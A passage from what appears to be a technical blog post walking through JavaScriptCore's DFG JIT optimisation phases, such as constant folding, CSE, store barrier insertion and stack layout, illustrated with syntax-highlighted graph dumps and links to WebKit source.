</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">726</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> ValueRep(DoubleRep:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">477</span><span style="color:#f92672">&lt;</span>Double<span style="color:#f92672">&gt;</span>, JS<span style="color:#f92672">|</span>PureInt, BytecodeDouble, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">35</span>, ExitValid)
</span></span></code></pre></div><p>In the snippet above the node <code>D@477</code> attempts to negate a constant double value which is referenced by the node <code>D@725</code>. Additionally, the node <code>D@726</code> references the negated value that is generated by the node <code>D@477</code>. Following the constant folding phase, the node <code>D@477</code> is replaced with a <code>DoubleConstant</code> node thus eliminating the need for an <code>ArithNegate</code> operation. The constant folding phase also replaces node <code>D@726</code> with a <code>JSConstant</code> eliminating the need to reference <code>D@477</code>. The graph dump below shows the substitutions performed by this phase:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">725</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> DoubleConstant(Double<span style="color:#f92672">|</span>PureInt, BytecodeDouble, Double: <span style="color:#ae81ff">9218868437227405312</span>, inf, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">477</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> DoubleConstant(Double<span style="color:#f92672">|</span>PureNum<span style="color:#f92672">|</span>UseAsOther, AnyIntAsDouble<span style="color:#f92672">|</span>NonIntAsDouble, Double: <span style="color:#f92672">-</span><span style="color:#ae81ff">4503599627370496</span>, <span style="color:#f92672">-</span>inf, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">478</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(DoubleRep:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">477</span><span style="color:#f92672">&lt;</span>Double<span style="color:#f92672">&gt;</span>, MustGen, loc55, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, ExitInvalid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">726</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>PureInt, BytecodeDouble, Double: <span style="color:#f92672">-</span><span style="color:#ae81ff">4503599627370496</span>, <span style="color:#f92672">-</span>inf, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">30</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">35</span>, ExitValid)
</span></span></code></pre></div><h2 id="cfg-simplification">CFG Simplification</h2>
<blockquote>
<p>CFG simplification:</p>
<p>jump to single predecessor -&gt; merge blocks
branch on constant -&gt; jump
branch to same blocks -&gt; jump
jump-only block -&gt; remove
kill dead code</p>
</blockquote>
<p>As the developer comments indicate, this phase, will look for optimisation opportunities to simply control flow within the graph. The comments then go on to list the aspects of the graph that the phase will attempt to identify as candidates for optimisation. This phase has the potential to massively change the graph as blocks may be merged or removed entirely (due to dead code elimination). The graph form is reset to <code>LoadStore</code> due to the de-threading of the graph when blocks are merged/removed.</p>
<h2 id="local-common-subexpression-elimination">Local Common Subexpression Elimination</h2>
<blockquote>
<p>Block-local common subexpression elimination. It uses clobberize() for heap
modeling, which is quite precise. This phase is known to produce big wins on
a few benchmarks, and is relatively cheap to run.</p>
</blockquote>
<p>This phase perform block local <a href="https://en.wikipedia.org/wiki/Common_subexpression_elimination">CSE</a>. As an example, consider the following DFG graph snippet:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, OtherObj, Weak:Object: <span style="color:#ae81ff">0x7fffaefd4000</span> with butterfly <span style="color:#ae81ff">0x7fe0261fce68</span> (Structure <span style="color:#f92672">%</span>Dr:Function), StructureID: <span style="color:#ae81ff">39922</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, OtherObj, Weak:Object: <span style="color:#ae81ff">0x7fffaefd4000</span> with butterfly <span style="color:#ae81ff">0x7fe0261fce68</span> (Structure <span style="color:#f92672">%</span>Dr:Function), StructureID: <span style="color:#ae81ff">39922</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">107</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span>, MustGen, loc25, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">108</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span>, loc25(NB<span style="color:#f92672">~&lt;</span>Object<span style="color:#f92672">&gt;/</span>FlushedJSValue), W:Stack(loc25), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, ExitValid)  predicting OtherObj
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">109</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span>, MustGen, loc24, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">110</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span>, loc24(OB<span style="color:#f92672">~&lt;</span>Object<span style="color:#f92672">&gt;/</span>FlushedJSValue), W:Stack(loc24), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">117</span>, ExitValid)  predicting OtherObj
</span></span></code></pre></div><p>In the snippet above the nodes <code>D@87</code> and <code>D@105</code> represent the same JSObject. The nodes from <code>D@107</code> to <code>D@110</code> reference this JSObject via the child node <code>D@105</code>. Node <code>D@105</code> is redundant since we already have an existing node that represents the JSObject in <code>D@87</code>. The Local CSE phase identifies <code>D@105</code> as a candidate for elimination and replaces all edges to this node with edges to <code>D@87</code> and converts the node <code>D@105</code> to a <code>Check</code> node. The snippet above is then transformed as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, OtherObj, Weak:Object: <span style="color:#ae81ff">0x7fffaefd4000</span> with butterfly <span style="color:#ae81ff">0x7fe0261fce68</span> (Structure <span style="color:#f92672">%</span>Dr:Function), StructureID: <span style="color:#ae81ff">39922</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">85</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">105</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> Check(MustGen, OtherObj, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">107</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span>, MustGen, loc25, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">108</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span>, loc25(NB<span style="color:#f92672">~&lt;</span>Object<span style="color:#f92672">&gt;/</span>FlushedJSValue), W:Stack(loc25), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">106</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, ExitValid)  predicting OtherObj
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">109</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span>, MustGen, loc24, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">110</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">87</span>, loc24(OB<span style="color:#f92672">~&lt;</span>Object<span style="color:#f92672">&gt;/</span>FlushedJSValue), W:Stack(loc24), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">114</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">117</span>, ExitValid)  predicting OtherObj
</span></span></code></pre></div><p>This phase has an <a href="https://github.com/WebKit/WebKit/blob/e5fcaf1695b3f4d920af5dbbfbb6ef166388b692/Source/JavaScriptCore/dfg/DFGCSEPhase.cpp#L50">internal verbose flag</a> that when enabled will print debug information to <em>stdout</em> on the changes being performed by this phase to the graph.</p>
<h2 id="variable-arguments-forwarding">Variable Arguments Forwarding</h2>
<blockquote>
<p>Eliminates allocations of Arguments-class objects when they flow into
CallVarargs, ConstructVarargs, or LoadVarargs.</p>
</blockquote>
<p>This phase loops over the nodes in the graph to identify any <code>CreateDirectArguments</code> and <code>CreateClonedArguments</code> nodes. These are referred to in the phase implementation as <a href="https://github.com/WebKit/WebKit/blob/55363c8d5fa262416af6ef704a0a83ae4ebf1b35/Source/JavaScriptCore/dfg/DFGVarargsForwardingPhase.cpp#L84"><em>candidate nodes</em></a>.</p>
<p>Once a candidate node is identified, the phase then proceeds to find a node (i.e. <a href="https://github.com/WebKit/WebKit/blob/55363c8d5fa262416af6ef704a0a83ae4ebf1b35/Source/JavaScriptCore/dfg/DFGVarargsForwardingPhase.cpp#L99"><code>lastUserIndex</code></a>) in the same block that last used the <code>CreateDirectArguments</code> or <code>CreateClonedArguments</code> node. It also attempts to find any <a href="https://en.wikipedia.org/wiki/Escape_analysis"><em>escape sites</em></a> when determining the last used node.</p>
<p>Once a valid <code>lastUserIndex</code> has been identified and there are no nodes between the candidate that can cause side effects, the phase begins <em>forwarding</em>. The <a href="https://github.com/WebKit/WebKit/blob/55363c8d5fa262416af6ef704a0a83ae4ebf1b35/Source/JavaScriptCore/dfg/DFGVarargsForwardingPhase.cpp#L322">changes to the graph performed by <em>forwarding</em> can be reviewed by inspecting the source code</a>.</p>
<p>This phase has an <a href="https://github.com/WebKit/WebKit/blob/55363c8d5fa262416af6ef704a0a83ae4ebf1b35/Source/JavaScriptCore/dfg/DFGVarargsForwardingPhase.cpp#L46">internal verbose flag</a> that can be enabled to print debug information on the phase changes to <em>stdout</em>.</p>
<h2 id="tier-up-check-injection">Tier Up Check Injection</h2>
<blockquote>
<p>This phase checks if the this code block could be recompiled with the FTL,
and if so, it injects tier-up checks.</p>
</blockquote>
<p>This phase inserts tier-up check nodes to the graph when the FTL tier is enabled. These nodes are added at the head of a loop (i.e. after a <code>LoopHint</code> node) and before a return from a function call (i.e. before a <code>Return</code> node). the DFG snippets below provides an example of the tier-up check (addition of the <code>CheckTierUpInLoop</code> node) at the head of a loop:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">372</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> LoopHint(MustGen, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">401</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">610</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> CheckTierUpInLoop(MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">401</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">373</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> InvalidationPoint(MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">402</span>, ExitValid)
</span></span></code></pre></div><p>Similarly, before a function returns, a <code>CheckTierUpAtReturn</code> node is inserted before the <code>Return</code> node as show in the example snippet below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">624</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, Other, Undefined, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">647</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">582</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> CheckTierUpAtReturn(MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">647</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">625</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> Return(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">624</span>, MustGen, W:SideState, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">647</span>, ExitValid)
</span></span></code></pre></div><h2 id="fast-store-barrier-insertion">Fast Store Barrier Insertion</h2>
<blockquote>
<p>Inserts store barriers in a block-local manner without consulting the abstract interpreter.
Uses a simple epoch-based analysis to avoid inserting barriers on newly allocated objects. This
phase requires that we are not in SSA.</p>
</blockquote>
<p><code>StoreBarrier</code>s are nodes that perform a function similar to <a href="https://en.wikipedia.org/wiki/Write_barrier#In_Garbage_collection"><em>write barriers</em></a>, that this phase inserts <a href="https://github.com/WebKit/WebKit/blob/2ab52bdb2165946c6ed7aa07bf2740a7e097e166/Source/JavaScriptCore/dfg/DFGStoreBarrierInsertionPhase.cpp#L231">before operations that write to an allocated JSObject</a>. These nodes ensure <a href="https://en.wikipedia.org/wiki/Memory_ordering#Compile-time_memory_ordering">memory ordering</a>. Consider the following DFG graph dump:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, OtherObj, Weak:Object: <span style="color:#ae81ff">0x7fffef9fca68</span> with butterfly <span style="color:#ae81ff">0x7ff802ffcc68</span> (Structure <span style="color:#f92672">%</span>Ec:Function), StructureID: <span style="color:#ae81ff">50667</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">283</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">288</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> PutById(Cell:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">275</span>, MustGen, cachable<span style="color:#f92672">-</span>id {uid:(__proto__)}, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">291</span>, ExitValid)
</span></span></code></pre></div><p>In the snippet above, the node <code>D@288</code> performs a memory write operation on the JSObject referenced by node <code>D@284</code>. The phase determines that it would require a <code>StoreBarrier</code> and inserts one just after <code>D@288</code>. The updated graph after this phase completes would be as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>UseAsOther, OtherObj, Weak:Object: <span style="color:#ae81ff">0x7fffef9fca68</span> with butterfly <span style="color:#ae81ff">0x7ff802ffcc68</span> (Structure <span style="color:#f92672">%</span>Ec:Function), StructureID: <span style="color:#ae81ff">50667</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">283</span>, ExitValid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">288</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> PutById(Cell:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">275</span>, MustGen, cachable<span style="color:#f92672">-</span>id {uid:(__proto__)}, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">291</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">583</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> FencedStoreBarrier(KnownCell:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">284</span>, MustGen, R:Heap, W:JSCell_cellState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">291</span>, ExitInvalid)
</span></span></code></pre></div><p>This phase has an <a href="https://github.com/WebKit/WebKit/blob/2ab52bdb2165946c6ed7aa07bf2740a7e097e166/Source/JavaScriptCore/dfg/DFGStoreBarrierInsertionPhase.cpp#L47">internal verbose flag</a> that when enabled allows printing of additional debug information how nodes in the graph are evaluated and when and where <code>StoreBarrier</code>s are inserted.</p>
<h2 id="store-barrier-clustering">Store Barrier Clustering</h2>
<blockquote>
<p>Picks up groups of barriers that could be executed in any order with respect to each other and
places then at the earliest point in the program where the cluster would be correct. This phase
makes only the first of the cluster be a FencedStoreBarrier while the rest are normal
StoreBarriers. This phase also removes redundant barriers - for example, the cluster may end up
with two or more barriers on the same object, in which case it is totally safe for us to drop
one of them.</p>
</blockquote>
<p>Essentially, this phase looks for opportunities to remove redundant <code>FencedStoreBarriers</code> nodes where possible. An example of this is documented in the <a href="https://github.com/WebKit/WebKit/blob/fa94887efcbbf50e58f1e0bc17d4523828a38217/Source/JavaScriptCore/dfg/DFGStoreBarrierClusteringPhase.h#L34">developer comments for the phase</a>.</p>
<h2 id="cleanup">Cleanup</h2>
<blockquote>
<p>Cleans up unneeded nodes, like empty Checks and Phantoms.</p>
</blockquote>
<p>This phase simply scans the graph and removes redundant nodes such as empty <code>Check</code> and <code>Phantom</code> nodes.</p>
<h2 id="dead-code-elimination">Dead Code Elimination</h2>
<blockquote>
<p>Global dead code elimination. Eliminates any node that is not NodeMustGenerate,
not used by any other live node, and not subject to any type check.</p>
</blockquote>
<p><a href="https://en.wikipedia.org/wiki/Dead_code_elimination">DCE in traditional compilers</a> attempts to identify and remove code that is <em>unreachable</em> (i.e. code that never executes). However, in the context of the DFG graph optimisation, DCE attempts to identify nodes that generate a result but the result is never used by any other node. This phase loops over the nodes in the graph and attempts to remove such redundant nodes.</p>
<h2 id="phantom-insertion">Phantom Insertion</h2>
<blockquote>
<p>Inserts Phantoms based on bytecode liveness.</p>
</blockquote>
<p><code>Phantom</code> nodes are <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/ChangeLog-2014-10-07">described by the developers</a> as follows:</p>
<blockquote>
<p>In CPS form, Phantom means three things: (1) that the children should be kept alive so long as they are relevant to OSR (due to a MovHint), (2) that the children are live-in-bytecode at the point of the Phantom, and (3) that some checks should be performed.</p>
</blockquote>
<p>When a node is <em>killed</em>, the DFG needs a way to ensure that any children of the node are kept alive if these children are required to reconstruct values that would be live in bytecode at the time of OSR Exit.</p>
<p>This phase loops over the nodes in the graph to determine if any nodes that have been <em>killed</em> have children that need to be preserved for OSR and inserts a <code>Phantom</code> node for these children. This evaluation is performed by the lambda <a href="https://github.com/WebKit/WebKit/blob/776295f151700273c8ece98c5ad4aaa19f14db4f/Source/JavaScriptCore/dfg/DFGPhantomInsertionPhase.cpp#L135"><code>processKilledOperand</code></a>.</p>
<p>The <a href="https://github.com/WebKit/WebKit/blob/776295f151700273c8ece98c5ad4aaa19f14db4f/Source/JavaScriptCore/dfg/DFGPhantomInsertionPhase.cpp#L44">internal verbose flag</a> dumps debug information how each node in the graph is processed, how operands of the nodes are evaluated and when a <code>Phantom</code> node is inserted.</p>
<h2 id="stack-layout">Stack Layout</h2>
<blockquote>
<p>Figures out the stack layout of VariableAccessData&rsquo;s.
This enumerates the locals that we actually care about and packs them. So for example
if we use local 1, 3, 4, 5, 7, then we remap them: 1-&gt;0, 3-&gt;1, 4-&gt;2, 5-&gt;3, 7-&gt;4. We
treat a variable as being &ldquo;used&rdquo; if there exists an access to it (SetLocal, GetLocal,
Flush, PhantomLocal).</p>
</blockquote>
<p>This phase packs the stack layout for locals to ensure there are no <em>holes</em>. This is done by looping over all the SetLocal, PhantomLocal, Flush and GetLocal nodes in the graph and remapping stack slots. As an example, the DFG graph dump below show how this assignment is represented:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">652</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, Function, loc34(AF<span style="color:#f92672">~&lt;</span>Function<span style="color:#f92672">&gt;/</span>FlushedJSValue), machine:loc14, R:Stack(loc34), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">514</span>, ExitValid)  predicting Function
</span></span></code></pre></div><p>In the snippet above, the <code>GetLocal</code> node uses <code>loc34</code> as the virtual register to retrieve a <code>Function</code> object. However, after the Stack Layout phase, the virtual register is re-mapped to <code>loc14</code>. This is represented using: <code>machine:loc14</code>.</p>
<h2 id="virtual-register-allocation">Virtual Register Allocation</h2>
<blockquote>
<p>Prior to running this phase, we have no idea where in the call frame nodes
will have their values spilled. This phase fixes that by giving each node
a spill slot. The spill slot index (i.e. the virtual register) is also used
for look-up tables for the linear scan register allocator that the backend
uses.</p>
</blockquote>
<p>This phase adds virtual registers for nodes that generate a result (e.g. JSConstant, CompareLess, etc). An example of how these spill registers are represented is shown in the graph dump below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">74</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:</span>loc24<span style="color:#f92672">&gt;</span> GetClosureVar(KnownCell:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">27</span>, JS<span style="color:#f92672">|</span>PureInt, Int32, scope0, R:ScopeProperties(<span style="color:#ae81ff">0</span>), Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">64</span>, ExitValid)  predicting Int32
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc25<span style="color:#f92672">&gt;</span> JSConstant(JS<span style="color:#f92672">|</span>PureInt, NonBoolInt32, Int32: <span style="color:#ae81ff">127</span>, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">72</span>, ExitValid)
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">78</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc25<span style="color:#f92672">&gt;</span> ArithAdd(Check:Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">74</span>, Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">77</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, Int32, Unchecked, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">72</span>, ExitValid)
